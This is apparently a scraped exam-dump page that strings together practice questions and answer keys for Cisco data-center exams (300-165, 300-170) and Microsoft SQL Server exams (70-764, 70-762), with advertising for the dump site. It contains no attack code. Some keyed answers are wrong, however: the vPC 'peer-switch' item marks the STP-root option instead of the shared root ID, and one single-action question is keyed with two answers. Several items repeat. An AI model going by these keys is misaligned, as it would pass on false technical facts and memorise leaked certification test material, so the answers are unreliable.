A. uplink failover
B. PXE boot
C. network interface virtualization
D. VM-FEX
Correct Answer: C

 

QUESTION 4
Scenario
The following four questions concern the Nexus 7010\\’s which are configured as a vPC pair at the core of a Data
Center network. You can utilize all the available show commands to answer the questions. Access to the running-
configuration is
not allowed.
Instructions
Enter NX-OS commands on 7K-3 and 7K-4 to verify network operation and answer four multiple-choice questions.
THIS TASK DOES NOT REQUIRE DEVICE CONFIGURATION.
Click on the switch to gain access to the console of the switch. No console or enable passwords are required.
To access the multiple-choice questions, click on the numbered boxes on the left of the top panel.
There are four multiple-choice questions with this task. Be sure to answer all four questions before selecting the Next
button.

pass4itsure 300-165 exam question q4 pass4itsure 300-165 exam question q4-1

Within the vpc configuration of the 7K\\’s, the command peer-switch is configured.
What is the result of enabling this command?
A. Both vPC peers use the same STP root ID
B. The vPC primary switch (7K-4 in this case) also serves as the STP root to improve vPC convergence
C. The vPC secondary switch (7K-3 in this case) serves as the STP root to improve vPC performance
D. Allows 7K-3 to act as the active HSRP gateway for packets that are addressed to the MAC address of 7K-4
E. Automatically disables IP redirects on all interface VLANs mapped over a vPC VLAN to avoid generation of IP
redirect messages for packets switched through the vPC peer gateway router
F. Enables faster convergence of ARP tables after the vPC peer link flaps
Correct Answer: B


QUESTION 5
Refer to the exhibit. An engineer is implementing a new network design that includes a port channel to connect an MDS
core switch and an NPV switch. Which two Fibre Channel port types must be used to create Fibre Channel port
channel? (Choose two.)

pass4itsure 300-165 exam question q5

A. N Port
B. NP Port
C. F Port
D. E Port
E. TL Port
Correct Answer: BC
Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/mds9000/sw/4_1/configuration/guides/cli_4_1/clibook/pc.html


QUESTION 6
Drag and drop the VXLAN protocol characteristic from the left onto the benefit it provides on the right.
Select and Place:pass4itsure 300-165 exam question q6

Correct Answer:

pass4itsure 300-165 exam question q6-1

 

QUESTION 7
A Cisco Catalyst 6500 Series Switch suffers a supervisor failure. Which statement is true regarding Cisco NSF
functionality?
A. The line cards are reloaded.
B. The neighbouring routers do not participate in Cisco NSF.
C. The Cisco Express Forwarding cache is pruned.
D. Layer 3 reconvergence does not occur.
E. Cisco NSF can be deployed with RPR+.
Correct Answer: D

 

QUESTION 8
Refer to the exhibit. What is the maximum IPv6 unicast route memory allocated?pass4itsure 300-165 exam question q8

A. 4 MB
B. 8 MB
C. 1024 MB
D. 1 GB
E. 5 MB
Correct Answer: A

 

QUESTION 9
Which two items are required components of VN-Link in software? (Choose two.)
A. VDC
B. VEM
C. vPC
D. VSM
E. VRRP
Correct Answer: BD
The Cisco Nexus 1000V Series consists of two main types of components that can virtually emulate a 66-slot modular
Ethernet switch with redundant supervisor functions:
Virtual Ethernet module (VEM)-data plane: This lightweight software component runs inside the hypervisor. It enables
advanced networking and security features, performs switching between directly attached virtual machines, provides
uplink capabilities to the rest of the network, and effectively replaces the vSwitch. Each hypervisor is embedded with
one VEM.
Virtual supervisor module (VSM)-control plane: This standalone, external, physical or virtual appliance is responsible for
the configuration, management, monitoring, and diagnostics of the overall Cisco Nexus 1000V Series system (that is,
the combination of the VSM itself and all the VEMs it controls) as well as the integration with VMware vCenter. A single
VSM can manage up to 64 VEMs. VSMs can be deployed in an active-standby model, helping ensure high availability.
http://www.cisco.com/c/en/us/solutions/collateral/switches/nexus-1000v-switch-vmware-vsphere/white_paper_c11-525307.html

 

QUESTION 10
Which statement regarding the implementation of Fibre Channel domain IDs is true?
A. They are assigned on a per-switch basis.
B. They must be unique on all of the Fibre Channel switches in the fabric.
C. They are assigned on a per-line card basis.
D. They must be the same on all of the Fibre Channel switches in the fabric.
Correct Answer: B

 

QUESTION 11
Fibre Channel IDs are dynamically assigned to which objects?
A. Cisco Fabric Services packets
B. WWPNs
C. FSPF packets
D. FEXs
E. VSANs
Correct Answer: E

 

QUESTION 12
Which standard has Cisco used to implement VM-FEX?
A. IEEE 802.1BR
B. IEEE 802.1Qbb
C. IEEE 802.1Qaz
D. IEEE 802.1p
E. IEEE 802.1x
Correct Answer: A

 

QUESTION 13
You configure STP on a switch that is attached to a Cisco FabricPath domain and that has the vPC feature deployed.
How do you configure STP on the switch in the Cisco FabricPath domain on VLAN 10?
A. switch(config)# spanning-tree vlan 10 priority 0 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 0
B. switch(config)# spanning-tree vlan 10 priority 8192 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 4096
C. switch(config)# spanning-tree vlan 10 priority 4096 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 8192
D. switch(config)# spanning-tree vlan 10 priority 0 switch(config)# spanning-tree pseudo-information switch(config-
pseudo)# vlan 10 root priority 4096
Correct Answer: B
Note that it is fine to use the spanning-tree priority command and the spanning-tree pseudo-information command
together, but the root priority in the pseudo-information needs to be a lower value (higher priority) than the spanning-tree
priority to make sure that the remaining working Cisco FabricPath switch is sending a superior BPDU with the common
FabricPath bridge ID and the configured spanning-tree pseudo-information priority and remains at the spanning-tree
root. Reference: https://www.cisco.com/c/dam/en/us/products/collateral/switches/nexus-7000-series-switches/white_paper_c07-728188.pdf page 44

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The latest Cisco CCNP Data Center 300-170 exam practice questions test your strength

QUESTION 1
A system administrator checks the endpoint database and discovers MAC addresses that belong to inactive local
nodes. Which description of the retention of the MAC addresses for the local hosts is true?
A. After five minutes of inactivity, the hosts are removed from the local endpoint database of the leaf.
B. The local database is cleared only when the leaf reboots.
C. The leaf sends three ARP requests to the hosts after an aging period. If the switch receives no response, the hosts
are removed from the local endpoint database of the leaf.
D. After 30 minutes of inactivity, the hosts are removed from the local endpoint database of the leaf.
Correct Answer: A

 

QUESTION 2
Which two options are purposes of a device package? (Choose two.)
A. to identify a set of network or service functions required by the application
B. to provide a leaf and spine devices with operating systems and firmware
C. to provide a Cisco APIC with information about device specifics
D. to render the services required by a graph
E. to manage a class of service devices
Correct Answer: CE
Reference: https://webcache.googleusercontent.com/search?q=cache:sbj6aGf31j0J:https://www.cisco.com/c/en/us/td/d
ocs/switches/datacenter/aci/apic/sw/1-x/L4-L7_Services_Deployment/guide/b_L4L7_Deploy_ver211/
b_L4L7_Deploy_ver211_chapter_011pdf+andcd=1andhl=enandct=clnkandgl=inandclient=firefox-b-ab

 

QUESTION 3
You deploy AVS for Virtual Machine Manager integration and you add a host that has five VMNICs. You must use
VXLAN to maximize the load balancing of the traffic inside the fabric. How many VMKNICs must you add?
A. 2
B. 3
C. 4
D. 8
Correct Answer: C


QUESTION 4
Why should you configure DHCP relay for Virtual Machine Manager integration?
A. to create VTEP VMK interfaces on each host for the OpFlex control channel
B. to provide IP addresses to ESXi hosts
C. to provide IP addresses to virtual hosts through the VXLAN infrastructure
D. to ensure that virtual hosts have the same address when they are moved by using VMware vMotion
Correct Answer: B
Reference: http://www.cisco.com/c/en/us/solutions/collateral/data-center-virtualization/application-centric-infrastructure/white-paper-c11-738412.pdf

 

QUESTION 5
Which Cisco technology addresses management and performance concerns in a data center by unifying physical and
virtual switch management?
A. VSD
B. SVM
C. VM-FEX
D. AVS
Correct Answer: C
Reference: http://www.cisco.com/c/en/us/products/collateral/interfaces-modules/ucs-m81kr-virtual-interface-card/white_paper_c11-618838.pdf

 

QUESTION 6
A system administrator checks the endpoint database and discovers MAC addresses that belong to inactive local
nodes. Which description of the retention of the MAC addresses for the local nodes is true?
A. After five minutes, the inactive nodes are removed from the local endpoint database of the leaf.
B. The local database if cleared only when the leaf reboots.
C. The leaf sends three ARP requests after an aging period. The MAC addresses are stored to the local endpoint
database as long as the devices respond to the requests
D. After 15 minutes, the inactive nodes are removed from the local endpoint database of the leaf.
Correct Answer: A


QUESTION 7
Which two methods does a Cisco APIC support to connect to the management IP address of a service appliance?
(Choose two.)
A. out-of-band connectivity to devices in device clusters by using the management VLAN
B. in-band connectivity to devices in device clusters by using the VRF of the tenant
C. out-of-band connectivity to devices in device clusters by using the VRF of the tenant
D. out-of-band connectivity to devices in device clusters by using the management VRF of the tenant
E. in-band connectivity to devices in device clusters by using the management VRF of the tenant
Correct Answer: AB

 

QUESTION 8

pass4itsure 300-170 exam question q8

Refer to the exhibit. Which description of the configuration of the Cisco Nexus 1000V Series Switch is true?
A. VSM connects to the VMware vCenter server
B. Mgmt0 is a Layer 2 interface
C. SVS mode is set to L3.
D. Packet VLAN is a private VLAN
Correct Answer: A


QUESTION 9
When you perform a task in the Cisco APIC GUI, the GUI creates and sends internal API messages to the operating
system to exclude the task. Which ACI tool enables you to view and copy the API messages?
A. SPAN
B. Postman
C. syslog
D. API Inspector
E. SNMP
F. EPG Listener
Correct Answer: D
Reference: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/aci/apic/sw/2-x/GSG/b_APIC_Getting_Started_Guide_Rel_2_x/b_APIC_Getting_Started_Guide_Rel_2_x_chapter_011.html

 

QUESTION 10

pass4itsure 300-170 exam question q10

Refer to the exhibit. Which result occurs when a user without a role attempts to log into the fabric?
A. The user is denied access.
B. The user is assigned to the local domain.
C. The user is assigned to a default role.
D. The user is authenticated by using TACACS.
Correct Answer: C

 

QUESTION 11
You are performing VMM integration between ACI and VMware with vDS. You place a Cisco UCS Fabric Interconnect
between the leaf and the ESXi hosts running on UCS-B series. Which is a valid configuration if using VMM integration
with “On Demand” resolution?
A. In the interface policy group, disable LLDP, enable Cisco Discovery Protocol, and then select MAC pinning on the
Fabric Interconnects.
B. In the interface policy, enable LLDP, Cisco Discovery Protocol, and LACP.
C. In the interface policy group, disable LLDP, disable Cisco Discovery Protocol, and then select active in the LACP
policy
D. Configure LLDP, Cisco Discovery Protocol, and LACP policies under global policies to match the interface policies.
Correct Answer: A

 

QUESTION 12
You have a Cisco Nexus device that is configured to use a RADIUS server. What occurs when local RBAC user account
and RADIUS roles exist simultaneously?
A. Only rules that are in local roles and the radius roles are applied
B. Rules from local account and radius account are merged
C. Only rules from local are applied
D. Only rules from Radius are applied
Correct Answer: D

 

QUESTION 13
Which Layer 3 protocol is used within the ACI fabric?
A. OperFlow
B. EIGRP
C. OSPF
D. IS-IS
Correct Answer: D

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Easily pass the Microsoft MCSA 70-764 exam: “Administering a SQL Database Infrastructure – Microsoft” – https://www.pass4itsure.com/70-764.html (Q&As: 442) Free share the latest 70-764 dumps questions and answers!
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Exam 70-764: Administering a SQL Database Infrastructure – Microsoft: https://www.microsoft.com/en-us/learning/exam-70-764.aspx

This exam is intended for database professionals who perform installation, maintenance, and configuration tasks.
Other responsibilities include setting up database systems, making sure those systems operate efficiently, and regularly storing, backing up, and securing data from unauthorized access.

pass4itsure 70-764 Skills measured

This exam measures your ability to accomplish the technical tasks listed below.

Configure data access and auditing (20–25%)

  • Configure encryption
  • Configure data access and permissions
  • Configure auditing

Manage backup and restore of databases (20–25%)

  • Develop a backup strategy
  • Restore databases
  • Manage database integrity

Manage and monitor SQL Server instances (35–40%)

  • Monitor database activity
  • Monitor queries
  • Manage indexes
  • Manage statistics
  • Monitor SQL Server instances

Manage high availability and disaster recovery (20–25%)

  • Implement log shipping
  • Implement AlwaysOn Availability Groups
  • Implement failover cluster instances

Latest effective Microsoft MCSA 70-764 Exam Practice Tests

QUESTION 1
You plan to migrate the DB to Azure.
You verify that all objects are valid for Azure SQL database. You need to ensure that users and logins are migrated to
Azure.
What should you do?
A. Use the Copy Database wizard
B. Use the Database Transfer wizard
C. Use the SQL Management Studio to deploy the DB to Azure
D. Back up the database from the local server and restore it to Azure
Correct Answer: CD

 

QUESTION 2
You manage a Microsoft SQL Server environment. You plan to encrypt data when you create backups.
You need to configure the encryption options for backups.
What should you configure?
A. a certificate
B. an MD5 hash
C. a DES key
D. an AES 256-bit key
Correct Answer: D
To encrypt during backup, you must specify an encryption algorithm, and an encryptor to secure the encryption key. The
following are the supported encryption options: Encryption Algorithm: The supported encryption algorithms are: AES
128, AES 192, AES 256, and Triple DES Encryptor: A certificate or asymmetric Key
References: https://docs.microsoft.com/en-us/sql/relational-databases/backup-restore/backup-encryption

 

QUESTION 3
You use Microsoft SQL Server 2016 to write code for a transaction that contains several statements.
There is high contention between readers and writers on several tables used by your transaction. You need to minimize
the use of the tempdb space.
You also need to prevent reading queries from blocking writing queries.
Which isolation level should you use?
A. SERIALIZABLE
B. SNAPSHOT
C. READ COMMITTED SNAPSHOT
D. REPEATABLE READ
Correct Answer: C
For most applications, read committed isolation using row versioning is recommended over snapshot isolation for the
following reasons:
It consumes less tempdb space than snapshot isolation.
Etc.
References: https://msdn.microsoft.com/en-us/library/ms188277.aspx

 

QUESTION 4
An organization deploys Microsoft SQL Server instances at the main office and the organization\\’s remote office. SQL
The server is not using Windows failover clustering.
Remote employef s report connection issues when they attempt to run queries against a specific database that is hosted
at the main office.
You need to ensure that remote employees can retrieve data from a database instance that is hosted in the remote
office.
Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions
to the answer area and arrange them in the correct order.
Select and Place:pass4itsure 70-764 exam question q4

Correct Answer:

pass4itsure 70-764 exam question q4-1

Database mirroring is a solution for increasing the availability of a SQL Server database.
Mirroring is implemented on a per-database basis and works only with databases that use the full recovery model.

 

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your company is developing a new business intelligence application that will access data in a Microsoft Azure SQL
Database instance. All objects in the instance have the same owner.
A new security principal named BI_User requires permission to run stored procedures in the database. The stored
procedures read from and write to tables in the database. None of the stored procedures perform IDENTIFY_INSERT
operations or dynamic SQL commands.
The scope of permissions and authentication of BI_User should be limited to the database. When granting permissions,
you should use the principle of least privilege.
You need to create the required security principals and grant the appropriate permissions.
Solution: You run the following Transact-SQL statement in the database:pass4itsure 70-764 exam question q5

Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B
We need to add a login.
Secondly, it is enough to grant EXECUTE permissions on the stored procedures for database roles you want to be able
to access the data. We do not need to add roles to this user.
Note: One method of creating multiple lines of defense around your database is to implement all data access using
stored procedures or user-defined functions. You revoke or deny all permissions to underlying objects, such as tables,
and
grant EXECUTE permissions on stored procedures. This effectively creates a security perimeter around your data and
database objects.
Best Practices
Simply writing stored procedures isn\\’t enough to adequately secure your application. You should also consider the
following potential security holes.
Grant EXECUTE permissions on the stored procedures for database roles you want to be able to access the data.
Revoke or deny all permissions to the underlying tables for all roles and users in the database, including the public role.
All users inherit permissions from the public. Therefore denying permissions to public means that only owners and
sysadmin
members have access; all other users will be unable to inherit permissions from membership in other roles.
Do not add users or roles to the sysadmin or db_owner roles. System administrators and database owners can access
all database objects.
References: https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/managing-permissions-with-stored-procedures-in-sql-server

 

QUESTION 6
DRAG DROP
You have a table that contains a column named Department. Each user is assigned to a database role name that
matches the Department column value. Users authenticate to the database with accounts that are assigned to their department’s database role. You belong to the db_owner role and have the rights to run the EXECUTE AS USER
statement.
Users must only view records that match their department.
You need to implement Microsoft SQL Server row-level security (RLS) and test the implementation.
Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions
to the answer area and arrange them in the correct order.
Select and Place:pass4itsure 70-764 exam question q6

Correct Answer:

pass4itsure 70-764 exam question q6-1

Step 1: Create a filter predicate by using a SQL Server inline table-valued user-defined function.
Create a new schema and an inline table-valued function.
Step 2: Create a security policy
Create a security policy adding the function as a filter predicate.
The CREATE SECURITY POLICY command creates a security policy for row level security.
Step 3: Run EXECUTE AS USER
References:
https://docs.microsoft.com/en-us/sql/t-sql/statements/create-security-policy-transact-sql?view=sql-server-2017
https://docs.microsoft.com/en-us/sql/relational-databases/security/row-level-security

 

QUESTION 7
You administer a Microsoft SQL Server 2016 server.
You plan to deploy new features to an application.
You need to evaluate existing and potential clustered and non-clustered indexes that will improve performance.
What should you do?
A. Query the sys.dm_db_index_usage_stats DMV.
B. Query the sys.dm_db_missing_index_details DMV.
C. Use the Database Engine Tuning Advisor.
D. Query the sys.dm_db_missing_index_columns DMV.
Correct Answer: C
The Microsoft Database Engine Tuning Advisor (DTA) analyzes databases and makes recommendations that you can
use to optimize query performance. You can use the Database Engine Tuning Advisor to select and create an optimal
set of indexes, indexed views, or table partitions without having an expert understanding of the database structure or the internals of SQL Server. Using the DTA, you can perform the following tasks. Troubleshoot the performance of a
specific problem query Tune a large set of queries across one or more databases Perform an exploratory what-if
analysis of potential physical design changes Manage storage space References: https://docs.microsoft.com/en-us/sql/relational-databases/performance/database-engine-tuning-advisor

 

QUESTION 8
You administer a single server that contains a Microsoft SQL Server 2016 default instance.
You plan to install a new application that requires the deployment of a database on the server. The application login
requires sysadmin permissions.
You need to ensure that the application login is unable to access other production databases.
What should you do?
A. Use the SQL Server default instance and configure an affinity mask.
B. Install a new named SQL Server instance on the server.
C. Use the SQL Server default instance and enable Contained Databases.
D. Install a new default SQL Server instance on the server.
Correct Answer: B

SQL Server supports multiple instances of SQL Server on a single server or processor, but only one instance can be the
default instance. All others must be named instances. A computer can run multiple instances of SQL Server
concurrently, and each instance runs independently of other instances.
References: https://msdn.microsoft.com/en-us/library/ms143531(v=SQL.105).aspx

 

QUESTION 9
You have a database named DB1. You complete a full backup on January 1, 2018, to a backup set named DB1_Backup.
You create a differential backup January 2, 2018, to the same backup set. You perform transaction log backups each
day at 1:00 PM.
DB1 experiences a catastrophic failure.
You need to restore the database to January 3, 2018, at 11:00 AM.
Which three Transact-SQL segments should you use to develop the solution? To answer, move the appropriate
Transact-SQL segment from the list of Transact-SQL segments to the answer area and arrange them in the correct
order.
Select and Place:pass4itsure 70-764 exam question q9

Correct Answer:

pass4itsure 70-764 exam question q9-1

This example restores a database, differential database, and transaction log backup of the MyAdvWorks database.
Step 1:
— Assume the database is lost at this point. Now restore the full
— database. Specify the original full database backup and NORECOVERY.
— NORECOVERY allows subsequent restore operations to proceed.
RESTORE DATABASE MyAdvWorks
FROM MyAdvWorks_1
WITH NORECOVERY;
GO
Step 2:
— Now restore the differential database backup, the second backup on
— the MyAdvWorks_1 backup device.
RESTORE DATABASE MyAdvWorks
FROM MyAdvWorks_1
WITH FILE = 2,
NORECOVERY;
Step 3:
— Now restore each transaction log backup created after
— the differential database backup.
RESTORE LOG MyAdvWorks
FROM MyAdvWorks_log1
WITH NORECOVERY; GO RESTORE LOG MyAdvWorks FROM MyAdvWorks_log2 WITH RECOVERY; GO
References: https://docs.microsoft.com/en-us/sql/relational-databases/backup-restore/restore-a-differential-database-backup-sql-server

 

QUESTION 10
You have a database named DB1.
DB1 contains a table named Sales. The SalesPerson that has an index named AK_SalesPerson_rowguid.
Queries that do not use the index take approximately 10 times longer to complete than queries that use the index. You
discover that AK_SalesPerson_rowguid has severe fragmentation. You need to recommend a solution to defragment
the index.
The solution must ensure that the index can be used by queries during the defragmentation.
What statement should you use? To answer, drag the appropriate elements to the correct locations. Each element may
be used once, more than once, or not at all. You may need to drag the split bar between panes or scroll to view content
Select and Place:pass4itsure 70-764 exam question q10

Correct Answer:

pass4itsure 70-764 exam question q10-1

Rebuilding an index can be executed online or offline. Reorganizing an index is always executed online. To achieve
availability similar to the reorganize option, you should rebuild indexes online. Use: ALTER INDEX REBUILD WITH
(ONLINE = ON)
References: Reorganize and Rebuild Indexes https://msdn.microsoft.com/enus/library/ms189858.aspx

 

QUESTION 11
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a database named DB1 that is 640 GB and is updated frequently.
You enable log shipping for DB1 and configure backup and restore to occur every 30 minutes.
You discover that the hard disks on the database server are almost full.
You need to reduce the amount of disk space used by the log shipping process.
Solution: You configure log shipping to backup and restore by using a single shared folder.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
You should compress the transaction log backups.
References: https://docs.microsoft.com/en-us/sql/database-engine/log-shipping/configure-log-shipping-sql-server?view=sql-server-2017

 

QUESTION 12
You are a database administrator for an organization. You manage a mission-critical database named DB1 that is
hosted on a server named LON-SQL1.
An audit record for transactions that occur in DB1 is written to a file every five seconds. If an audit record cannot be
recorded, the transaction must be terminated. You create a shared folder named Audits on a server named LON-SVR1.
You need to implement the process for recording audit records.
How should you complete the Transact-SQL statement? To answer, select the appropriate Transact-SQL segment in
the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure 70-764 exam question q12

Correct Answer:

pass4itsure 70-764 exam question q12-1

Box 1: Server Audit The CREATE SERVER AUDIT command creates a server audit object using SQL Server Audit. Box
2: FILE(FILEPATH=\\’\\LON-SVR1\Audits\\\’) An audit record for transactions that occur in DB1 are written to a file every
five seconds. You create a shared folder named Audits on a server named LON-SVR1. Box 3: QUEUE_DELAY=5000
QUEUE_DELAY =integer Determines the time, in milliseconds, that can elapse before audit actions are forced to be
processed. A value of 0 indicates synchronous delivery. The minimum settable query delay value is 1000 (1 second),
which is the default. Box 4: ON_FAILURE= FAIL_OPERATION FAIL_OPERATION Database actions fail if they cause
audited events. Actions, which do not cause audited events can continue, but no audited events can occur. The audit
continues to attempt to log events and resumes if the failure condition is resolved. Use this option when maintaining a
complete audit is more important than full access to the Database Engine.
References: https://docs.microsoft.com/en-us/sql/t-sql/statements/create-server-audit-transact-sql

 

QUESTION 13
Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is
repeated in each question. Each question presents a different goal and answers choices, but the text of the scenario is exactly the same in each question in this series.
You are a database administrator for a company that has an on-premises Microsoft SQL Server environment and
Microsoft Azure SQL Database instances. The environment hosts several customer databases, and each customer
uses a
dedicated instance. The environments that you manage are shown in the following table.pass4itsure 70-764 exam question q13

You need to configure auditing for the Adventure Works environment.
How should you complete the Transact-SQL statement? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:

pass4itsure 70-764 exam question q13-1

Correct Answer:

pass4itsure 70-764 exam question q13-2

Box 1: CREATE SERVER AUDIT
Create a server audit.
You must implement auditing to record access to data that is considered sensitive by the company.
Create database audit
Box 2: ALTER SERVER AUDIT
Enable the server audit.
Box 3: CREATE DATABASE AUDIT
Create the database audit specification.
Box 4: FOR SERVER AUDIT
You must implement auditing for all objects in the DAV schema.
References: https://docs.microsoft.com/en-us/sql/relationaldatabases/security/auditing/create-a-server-audit-and-database-audit-specification

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Easily pass the Microsoft MCSA 70-762 exam: “Developing SQL Databases – Microsoft” – https://www.pass4itsure.com/70-762.html (Q&As: 164) Free share the latest 70-762 dumps questions and answers!
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Valid information provided by Microsoft officials

Exam 70-762: Developing SQL Databases – Microsoft: https://www.microsoft.com/en-us/learning/exam-70-762.aspx

This exam is intended for database professionals who build and implement databases across organizations and who ensure high levels of data availability. Their responsibilities include creating database files, data types, and tables; planning, creating, and optimizing indexes; ensuring data integrity; implementing views, stored procedures, and functions; and managing transactions and locks.

pass4itsure 70-762 Skills measured

This exam measures your ability to accomplish the technical tasks listed below. The percentages indicate the relative weight of each major topic area on the exam.

Design and implement database objects (25–30%)

  • Design and implement a relational database schema
  • Design and implement indexes
  • Design and implement views
  • Implement columnstore indexes

Implement programmability objects (20–25%)

  • Ensure data integrity with constraints
  • Create stored procedures
  • Create triggers and user-defined functions

Manage database concurrency (25–30%)

  • Implement transactions
  • Manage isolation levels
  • Optimize concurrency and locking behavior
  • Implement memory-optimized tables and native stored procedures

Optimize database objects and SQL infrastructure (20–25%)

  • Optimize statistics and indexes
  • Analyze and troubleshoot query plans
  • Manage performance for database instances
  • Monitor and trace SQL Server baseline performance metrics

Latest effective Microsoft MCSA 70-762 Exam Practice Tests

QUESTION 1
You have a trigger named CheckTriggerCreation that runs when a user attempts to create a trigger. The
The CheckTriggerCreation trigger was created with the ENCRYPTION option and additional proprietary business logic.
You need to prevent users from running the ALTER and DROP statements or the sp_tableoption stored procedure.
Which three Transact-SQL segments should you use to develop the solution? To answer, move the appropriate
Transact-SQL segments from the list of Transact-SQL segments to the answer area and arrange them in the correct
order.
Select and Place:pass4itsure 70-762 exam question q1

Correct Answer:

pass4itsure 70-762 exam question q1-1

 

QUESTION 2
Note: This question is part of a series of questions that use the same or similar answer choices. An answer choice may
be correct for more than one question in the series. Each question is independent of the other questions in this series.
Information and details provided in a question apply only to that question.
You have a database named DB1. There is no memory-optimized filegroup in the database. You run the following
query:pass4itsure 70-762 exam question q2

The following image displays the execution plan the query optimizer generates for this query: Users frequently run the
same query with different values for the local variable @lastName. The table named Person is persisted on disk. You
need to create an index on the Person. Person table that meets the following requirements:

pass4itsure 70-762 exam question q2-1

1.
All users must be able to benefit from the index.
2.
FirstName must be added to the index as an included column.
What should you do?
A. Create a clustered index on the table.
B. Create a nonclustered index on the table.
C. Create a nonclustered filtered index on the table.
D. Create a clustered column store index on the table.
E. Create a nonclustered column store index on the table.
F. Create a hash index on the table.
Correct Answer: B
By including nonkey columns, you can create nonclustered indexes that cover more queries. This is because the
no key columns have the following benefits:
They can be data types not allowed as index key columns.
They are not considered by the Database Engine when calculating the number of index key columns or index key size.

 

QUESTION 3
You are monitoring a Microsoft Azure SQL Database.
The database is experiencing high CPU consumption.
You need to determine which query uses the most cumulative CPU.
How should you complete the Transact-SQL statement? To answer, drag the appropriate Transact-SQL segments to
the correct locations. Each Transact-SQL segment may be used once, more than one or not at all. You may need to
drag
the split bar between panes or scroll to view content.
Select and Place:pass4itsure 70-762 exam question q3

Correct Answer:

pass4itsure 70-762 exam question q3-1

Box 1: sys.dm_exec_query_stats sys.dm_exec_query_stats returns aggregate performance statistics for cached query
plans in SQL Server. Box 2: highest_cpu_queries.total_worker_time DESC Sort ontotal_worker_time column
Example:
The following example returns information about the top five queries ranked by average CPU time.
This example aggregates the queries according to their query hash so that logically equivalent queries are grouped by
their cumulative resource consumption.
USE AdventureWorks2012;
GO
SELECT TOP 5 query_stats.query_hash AS “Query Hash”,
SUM(query_stats.total_worker_time) / SUM(query_stats.execution_count) AS “Avg CPU Time”,
MIN(query_stats.statement_text) AS “Statement Text”
FROM
(SELECT QS.*,
SUBSTRING(ST.text, (QS.statement_start_offset/2) + 1,
((CASE statement_end_offset
WHEN -1 THEN DATALENGTH(ST.text)
ELSE QS.statement_end_offset END
-QS.statement_start_offset)/2) + 1) AS statement_text FROM sys.dm_exec_query_stats AS QS CROSS APPLY
sys.dm_exec_sql_text(QS.sql_handle)as ST) as query_stats GROUP BY query_stats.query_hash ORDER BY 2
DESC;
References:
https://msdn.microsoft.com/en-us/library/ms189741.aspx

 

QUESTION 4
You have a database that contains both disk-based and memory-optimized tables.pass4itsure 70-762 exam question q4

You need to create two modules. The modules must meet the requirements described in the following table.
Which programming object should you use for each module? To answer, select the appropriate object types in the
answer area.
Hot Area:

pass4itsure 70-762 exam question q4-1

Correct Answer:

pass4itsure 70-762 exam question q4-2

Returning Data by Using OUTPUT Parameters
If you specify the OUTPUT keyword for a parameter in the procedure definition, the stored procedure can return the current value of the parameter to the calling program when the stored procedure exits.
SQL Server stored procedures, views and functions are able to use the WITH ENCRYPTION option to disguise the
contents of a particular procedure or function from discovery.
Native Compilation of Tables and Stored Procedures
In-Memory OLTP introduces the concept of native compilation. SQL Server can natively compile stored procedures that
access memory-optimized tables. SQL Server is also able to natively compile memory-optimized tables. Native
compilation
allows faster data access and more efficient query execution than interpreted (traditional) Transact-SQL. Native
compilation of tables and stored procedures produce DLLs.
References:
https://technet.microsoft.com/en-us/library/ms187004(v=sql.105).aspx
https://msdn.microsoft.com/en-us/library/dn249342.aspx

 

QUESTION 5
Note: This question is part of a series of questions that use the same scenario. For your convenience, the scenario is
repeated in each question. Each question presents a different goal and answers choices, but the text of the scenario is
exactly the same in each question in this series.
You have a database that contains the following tables: blog category, blog entry, ProductReview, Product, and
SalesPerson. The tables were created using the following Transact SQL statements:pass4itsure 70-762 exam question q5

You must modify the ProductReview Table to meet the following requirements:
The table must reference the ProductID column in the Product table
Existing records in the ProductReview table must not be validated with the Product table.
Deleting records in the Product table must not be allowed if records are referenced by the ProductReview table.
Changes to records in the Product table must propagate to the ProductReview table.
You also have the following database tables: Order, ProductTypes, and SalesHistory. The Transact-SQL statements for
these tables are not available.
You must modify the Orders table to meet the following requirements:
Create new rows in the table without granting INSERT permissions to the table.
Notify the salesperson who places an order whether or not the order was completed.
You must add the following constraints to the SalesHistory table:
a constraint on the SaleID column that allows the field to be used as a record identifier
a constant that uses the ProductID column to reference the Product column of the ProductTypes table
a constraint on the CategoryID column that allows one row with a null value in the column
a constraint that limits the SalePrice column to values greater than four
Finance department users must be able to retrieve data from the SalesHistory table for salespersons where the value
of the SalesYTD column is above a certain threshold.
You plan to create a memory-optimized table named SalesOrder. The table must meet the following requirements:
The table must hold 10 million unique sales orders.
The table must use checkpoints to minimize I/O operations and must not use transaction logging.
Data loss is acceptable.
Performance for queries against the SalesOrder table that use WHERE clauses with exact equality operations must be
optimized.
You need to modify the environment to meet the requirements for the Orders table.
What should you create?
A. an AFTER UPDATE trigger
B. a user-defined function
C. a stored procedure with output parameters
D. an INSTEAD OF INSERT trigger
Correct Answer: D
From Question: You must modify the Orders table to meet the following requirements: Create new rows in the table
without granting INSERT permissions to the table. Notify the salesperson who places an order whether or not the order
was completed.
References: https://docs.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-2017

 

QUESTION 6
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution. Determine whether the solution meets the stated goals.
You have a database that contains a table named Employees. The table stores information about the employees of your
company.
You need to implement and enforce the following business rules:
Limit the values that are accepted by the Salary column.
Prevent salaries less than $15,000 and greater than $300,000 from being entered.
Determine valid values by using logical expressions.
Do not validate data integrity when running DELETE statements.
